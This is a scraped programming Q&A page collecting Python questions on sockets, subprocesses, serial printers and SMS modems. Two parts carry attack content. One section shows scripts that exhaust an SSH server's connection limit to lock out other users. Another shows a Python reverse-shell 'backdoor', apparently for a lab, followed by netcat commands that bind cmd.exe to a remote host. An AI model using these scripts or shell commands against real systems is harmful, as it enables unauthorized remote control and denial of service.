Python socket extremely slow - python

I have an issue with a script I want to create for a Raspberry Pi using Python.
To test the script I'm running Python 3.6 on a Windows 64 bit machine.
I want to send "1" to my local address (192.168.1.101 / 127.0.0.1) on port 1235, using TCP.
When I use putty in RAW mode, i can send this data to my server and I get the right response instantly.
But when I try to do this using Python on Windows I get a steady 2 minute delay.
I can also see the command is only received by the server 2 minute after I send it. And after those two minutes I get an instant reply.
The code:
import socket
message = '\x31'.encode()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.101', 1235))
s.send(message) ; print ("send ready") ; data = s.recv(80) ; s.close(); print ("received"), repr(data)
#forgive me the ; ... I'm on a command line for testing.
#response is:
1
send ready
#2 minute delay
("None, "b"140,1,1,test\\r\n'")
I have been trying things like SOCKET_DGRAM, RAW TCP NO DELAY, SO_SNDBUF, etc., but I can't find where this is coming from.

Related

Using Python to start shell but wont interrupt original script [duplicate]

This question already has answers here:
Python subprocess in parallel
(4 answers)
Closed 4 months ago.
So I have a "master" python script which should be able to execute different shell scripts and not get stuck in the shell loops.
import socket
import subprocess
UDP_IP = "192.168.50.3"
UDP_PORT = 5005
sock = socket.socket(socket.AF_INET, # Internet
socket.SOCK_DGRAM) # UDP
sock.bind((UDP_IP, UDP_PORT))
while (True):
data, addr = sock.recvfrom(1024) # buffer size is 1024 bytes
print("received message: %s" % data)
if (data == b'Hello, World!'):
subprocess.call(['sh', './test.sh'])
if (data == b'Hello, Bozo!'):
subprocess.call(['sh', './test1.sh'])
^^The master script
#!/bin/sh
sudo pkill -9 -f led
cd /home/maxi/rpi-rgb-led-matrix/utils
make led-image-viewer
sudo ./led-image-viewer -C tenor.gif --led-rows=64 --led-cols=64 --led-
slowdown-gpio=2
^^The slave script (they all are looking almoast the same.)
I tried with 2 master scripts but I only want to have 1 udp connection so its not great. I didnt find much in the internet, probably because I cant really explain what I need?
My idea is to run different gifs on a led matrix and to switch I just kill the led process and restart it. (On a raspberry pi 3b+)
I used subprocess.call. But if you take subprocess.probe it works without a problem.

pyserial readline() times out after reconnection

I use pyserial to communicate with a 3D printer (Monoprice Select Mini V2) via USB. Everything works well when I connect to the printer for the first time, but when I try to reopen a connection I can still send commands but do not receive any character.
This happens when I close the port and reopen it in the same program or when I rerun for the second time a python script opening the port after the first script has returned. The only way to reconnect properly is to restart my printer or to unplug and replug it. Changing the timeout value or trying to read only one byte does not solve the problem.
Short nonworking example:
import serial
ser = serial.Serial('/dev/ttyACM0', baudrate=115200, timeout=5)
ser.write("\n".encode())
print(ser.readline().decode())
# prints 'echo:Unknown command: "~"' (Not sure why)
print(ser.readline().decode())
# prints 'ok N0 P15 B15'
ser.write("M105\n".encode())
# prints expected response
ser.close()
print(ser.isOpen())
# prints 'False'
ser.open()
print(ser.isOpen())
# prints 'True'
ser.write("\n".encode())
print(ser.readline().decode())
# times out
ser.write("M105\n".encode())
print(ser.readline().decode())
# times out

SSH Max Connection Ruby Script Not Working Properly

Most sshd installs have a default limit of 10 connections. If you exceed this, all users who attempt to connect to the server will receive the error ssh_exchange_identification: Connection closed by remote host. This can be demonstrated with the simple bash onliner for i in {0..12}; do nc targetserver.com 22 & done. I also wrote a python script to demonstrate this:
#!/usr/bin/env python
import socket
socks=[]
print "Building sockets. . ."
for i in range(20):
socks.append(socket.socket(2,1))
socks[i].connect(('localhost',22))
while 1:
pass
print "Done."
which works perfectly. I then attempted to create the same script using ruby:
#!/usr/bin/env ruby
require 'socket'
socks = Array.new(20)
puts "Building sockets...\n"
for i in 0..19
socks[i] = TCPSocket.new('localhost', 22)
end
puts "Done.\n"
while (true) do
end
The ruby script does not get any errors and prints the expected output, but does not result in preventing other users from connecting to ssh. I verified that the ruby script is creating sockets with another python script I wrote:
#!/usr/bin/python
from socket import socket as sock, SO_REUSEADDR as REUSE, SOL_SOCKET as SOL
host='localhost'
port=5555
s=sock(2,1)
s.setsockopt(SOL, REUSE, 1)
s.bind((host,port))
s.listen(port)
i=0
while 1:
s.accept()
i += 1
print i
And changing to destination port to 5555.
The only thing that comes to mind is that the sockets might be closing but I do not know why this would be. Is there anything else that would prevent this script from working?

python subprocess stdin.write a string error 22 invalid argument

i have two python files communicating with socket. when i pass the data i took to stdin.write i have error 22 invalid argument. the code
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data = s.recv(1024) # s is the socket i created
proc.stdin.write(data) ##### ERROR in this line
output = proc.stdout.readline()
print output.rstrip()
remainder = proc.communicate()[0]
print remainder
Update
OK basically i want to create something like a backdoor on a system, in a localhost inside a network lab. this is for educational purpose. i have two machines. 1) is running ubuntu and i have the in server this code:
import socket,sys
s=socket.socket()
host = "192.168.2.7" #the servers ip
port = 1234
s.bind((host, port))
s.listen(1) #wait for client connection.
c, addr = s.accept() # Establish connection with client.
print 'Got connection from', addr
c.send('Thank you for connecting')
while True:
command_from_user = raw_input("Give your command: ") #read command from the user
if command_from_user == 'quit': break
c.send(command_from_user) #sending the command to client
c.close() # Close the connection
have this code for the client:
import socket
import sys
import subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
host = "192.168.2.7" #ip of the server machine
port = 1234
s.connect((host,port)) #open a TCP connection to hostname on the port
print s.recv(1024)
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
while True:
data = s.recv(1024)
if (data == "") or (data=="quit"):
break
proc.stdin.write('%s\n' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
s.close #closing the socket
and the error is in the client file
Traceback (most recent call last): File "ex1client2.py", line 50, in proc.stdin.write('%s\n' % data) ValueError: I/O operation on closed file
basically i want to run serial commands from the server to the client and get the output back in the server. the first command is executed, the second command i get this error message.
The main problem which led me to this solution is with chanhing directory command. when i excecute cd "path" it doesn't change.
Your new code has a different problem, which is why it raises a similar but different error. Let's look at the key part:
while True:
data = s.recv(1024)
if (data == "") or (data=="quit"):
break
proc.stdin.write('%s\n' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
The problem is that each time through this list, you're calling proc.communicate(). As the docs explain, this will:
Send data to stdin. Read data from stdout and stderr, until end-of-file is reached. Wait for process to terminate.
So, after this call, the child process has quit, and the pipes are all closed. But the next time through the loop, you try to write to its input pipe anyway. Since that pipe has been closed, you get ValueError: I/O operation on closed file, which means exactly what it says.
If you want to run each command in a separate cmd.exe shell instance, you have to move the proc = subprocess.Popen('cmd.exe', …) bit into the loop.
On the other hand, if you want to send commands one by one to the same shell, you can't call communicate; you have to write to stdin, read from stdout and stderr until you know they're done, and leave everything open for the next time through the loop.
The downside of the first one is pretty obvious: if you do a cd \Users\me\Documents in the first command, then dir in the second command, and they're running in completely different shells, you're going to end up getting the directory listing of C:\python27\Tools rather than C:\Users\me\Documents.
But the downside of the second one is pretty obvious too: you need to write code that somehow either knows when each command is done (maybe because you get the prompt again?), or that can block on proc.stdout, proc.stderr, and s all at the same time. (And without accidentally deadlocking the pipes.) And you can't even toss them all into a select, because the pipes aren't sockets. So, the only real option is to create a reader thread for stdout and another one for stderr, or to get one of the async subprocess libraries off PyPI, or to use twisted or another framework that has its own way of doing async subprocess pipes.
If you look at the source to communicate, you can see how the threading should work.
Meanwhile, as a side note, your code has another very serious problem. You're expecting that each s.recv(1024) is going to return you one command. That's not how TCP sockets work. You'll get the first 2-1/2 commands in one recv, and then 1/4th of a command in the next one, and so on.
On localhost, or even a home LAN, when you're just sending a few small messages around, it will work 99% of the time, but you still have to deal with that 1% or your code will just mysteriously break sometimes. And over the internet, and even many real LANs, it will only work 10% of the time.
So, you have to implement some kind of protocol that delimits messages in some way.
Fortunately, for simple cases, Python gives you a very easy solution to this: makefile. When commands are delimited by newlines, and you can block synchronously until you've got a complete command, this is trivial. Instead of this:
while True:
data = s.recv(1024)
… just do this:
f = s.makefile()
while True:
data = f.readline()
You just need to remember to close both f and s later (or s right after the makefile, and f later). A more idiomatic use is:
with s.makefile() as f:
s.close()
for data in f:
One last thing:
OK basically i want to create something like a backdoor on a system, in a localhost inside a network lab
"localhost" means the same machine you're running one, so "a localhost inside a network lab" doesn't make sense. I assume you just meant "host" here, in which case the whole thing makes sense.
If you don't need to use Python, you can do this whole thing with a one-liner using netcat. There are a few different versions with slightly different syntax. I believe Ubuntu comes with GNU netcat built-in; if not, it's probably installable with apt-get netcat or apt-get nc. Windows doesn't come with anything, but you can get ports of almost any variant.
A quick google for "netcat remote shell" turned up a bunch of blog posts, forum messages, and even videos showing how to do this, such as Using Netcat To Spawn A Remote Shell, but you're probably better off googling for netcat tutorials instead.
The more usual design is to have the "backdoor" machine (your Windows box) listen on a port, and the other machine (your Ubuntu) connect to it, so that's what most of the blog posts/etc. will show you. The advantage of this direction is that your "backyard server" listens forever—you can connect up, do some stuff, quit, connect up again later, etc. without having to go back to the Windows box and start a new connection.
But the other way around, with a backyard client on the Windows box, is just as easy. On your Ubuntu box, start a server that just connects the terminal to the first connection that comes in:
nc -l -p 1234
Then on your Windows box, make a connection to that server, and connect it up to cmd.exe. Assuming you've installed a GNU-syntax variant:
nc -e cmd.exe 192.168.2.7 1234
That's it. A lot simpler than writing it in Python.
For the more typical design, the backdoor server on Windows runs this:
nc -k -l -p 1234 -e cmd.exe
And then you connect up from Ubuntu with:
nc windows.machine.address 1234
Or you can even add -t to the backdoor server, and just connect up with telnet instead of nc.
The problem is that you're not actually opening a subprocess at all, so the pipe is getting closed, so you're trying to write to something that doesn't exist. (I'm pretty sure POSIX guarantees that you'll get an EPIPE here, but on Windows, subprocess isn't using a POSIX pipe in the first place, so there's no guarantee of exactly what you're going to get. But you're definitely going to get some error.)
And the reason that happens is that you're trying to open a program named '\n' (as in a newline, not a backslash and an n). I don't think that's even legal on Windows. And, even if it is, I highly doubt you have an executable named '\n.exe' or the like on your path.
This would be much easier to see if you weren't using shell=True. In that case, the Popen itself would raise an exception (an ENOENT), which would tell you something like:
OSError: [Errno 2] No such file or directory: '
'
… which would be much easier to understand.
In general, you should not be using shell=True unless you really need some shell feature. And it's very rare that you need a shell feature and also need to manually read and write the pipes.
It would also be less confusing if you didn't reuse data to mean two completely different things (the name of the program to run, and the data to pass from the socket to the pipe).

How can I send an SMS via AT command with Zoom 7.2m Tri-Band USB Modem?

I am trying to make a simple python 2.6 application on OSX 10.6.6 that can send and receive SMS on my Zoom 7.2m (3g) USB Modem.
On initially plugging into the USB modem, no TTY or CU sessions seem to be created. I have to run the modem software to initiate the following sessions;
cu.LJADeviceInterface2621
cu.LJADiagConnector2620
cu.LJAMobileConnector2622
tty.LJADeviceInterface2621
tty.LJADiagConnector2620
tty.LJAMobileConnector2622
After much "fun", it seems the only session I can read and write to is "cu.LJADeviceInterface2621". On attempting to connect to the tty instance of this, I get an error -
serial.serialutil.SerialException: could not open port /dev/tty.LJADeviceInterface2621: [Errno 16] Resource busy: '/dev/tty.LJADeviceInterface2621'
Thats fine though - I at least have something to work with, the cu equivalent.
My script is as follows;
ser = serial.Serial("/dev/cu.LJADeviceInterface2621", 9600, timeout=1)
print "Setting DTR..."
ser.setDTR(True)
sleep(3)
print "Turning off DTR..."
ser.setDTR(False)
searching = True
ser.setDTR(True)
while searching:
print "Write instruction..."
txt=raw_input()
if txt.find("ZZ")>-1:
txt=txt.replace("ZZ",chr(13))
ser.write(txt)
ser.close()
Now, I also have another script that is monitoring the messages on "cu.LJADeviceInterface2621". That script is as follows;
ser = serial.Serial("/dev/cu.LJADeviceInterface2621", 9600, timeout=1)
print "Attempting search."
while True:
line = ser.readline()
print ">", line
With these scripts both running, in the WRITE code, I enter the following lines;
(Note: ZZ input is replaced for Ctrl-Z via the write script above - chr(13))
AT+CMGF=1ZZ [press enter to commit write]
OK
AT+CMGW="+447725123123"\r\n [press enter to commit write]
ERROR
I should be writing the text of the message, followed by Ctrl-Z (chr(13) but I get an immediate error.
The USB modem has a valid sim, with credit, it has signal, I can send a text from the Zoom Modem Software (this however only works in with PDU mode - but the modem does support text mode, as per the AT+CMGF=? command) and receive messages.
Any ideas?
Happy to provide more information where needed, thanks
Stu
Also remember that there are many projects out there that do the task for you (pysms is one of them)
Well, I never use that modem but I suppose it uses standard GSM AT commands, and AT+CMGW is wrong.
You should send: AT+CMGS="+111111111"\r\n SMS TEXT Ctrl-Z
And that should work

Categories

Resources